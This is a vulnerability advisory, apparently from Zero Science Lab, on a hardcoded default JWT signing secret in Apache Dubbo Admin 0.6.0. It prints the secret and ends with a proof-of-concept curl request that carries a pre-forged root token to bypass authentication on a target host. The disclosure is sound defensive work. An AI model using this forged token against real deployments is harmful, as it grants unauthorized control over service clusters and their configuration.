Apache Dubbo Admin 0.6.0 Hardcoded Default JWT Secret Authentication Bypass

<html><body><p>Apache Dubbo Admin 0.6.0 Hardcoded Default JWT Secret Authentication Bypass


Vendor: The Apache Software Foundation
Product web page: https://dubbo.apache.org
Affected version: 0.6.0

Summary: Apache Dubbo is an RPC service development framework designed
to address service governance and communication issues in microservice
architectures. The official implementation provides multi-language SDKs
such as Java and Golang. Microservices developed using Dubbo inherently
possess the ability to discover and communicate with each other remotely.
By leveraging Dubbo's rich service governance features, you can achieve
service discovery, load balancing, traffic scheduling, and other service
governance requirements. Dubbo is designed to be highly extensible, allowing
users to easily implement various custom logics for traffic interception
and routing.

Desc: Apache Dubbo Admin version 0.6.0 ships a public, hardcoded default
JWT signing secret (admin.check.signSecret=86295dd0c4ef69a1036b0b0c15158d77)
in application.properties, used by JwtTokenUtil to sign and verify session
tokens (jjwt 0.6.0, HS512). Because the secret is published in the release,
a remote unauthenticated attacker can forge a valid "root" token offline
and send it in the Authorization header to bypass authentication entirely,
without using the login endpoint. On any deployment where the documented
default secret has not been changed, this grants full Dubbo Admin access,
which by default can query and invoke the entire service cluster and modify
governance configuration.

Tested on: Microsoft Windows 10 (x86_64)
           Eclipse Temurin OpenJDK 21.0.6 (LTS)
           io.jsonwebtoken:jjwt:0.6.0
           Dubbo Admin 0.6.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-6035
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6035


13.08.2026

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$ curl -s -H 'Authorization: eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJyb290IiwiaWF0IjoxNzkzMDIxMzc1LCJleHAiOjIxMDgzODEzNzV9.nHPeOBWqkOM60Dk8P4QFA16XATgqrVT3eX3syj220ClLTPTwRMr9x_ebX84_lyNipJ1Jdsy7wIJpkpAkrSl9dg' \
&gt; 'http://TARGET:8080/api/dev/service?pattern=service&amp;filter=*&amp;page=0&amp;size=10' \
&gt; -H 'User-Agent: MoAB/2.5.01'
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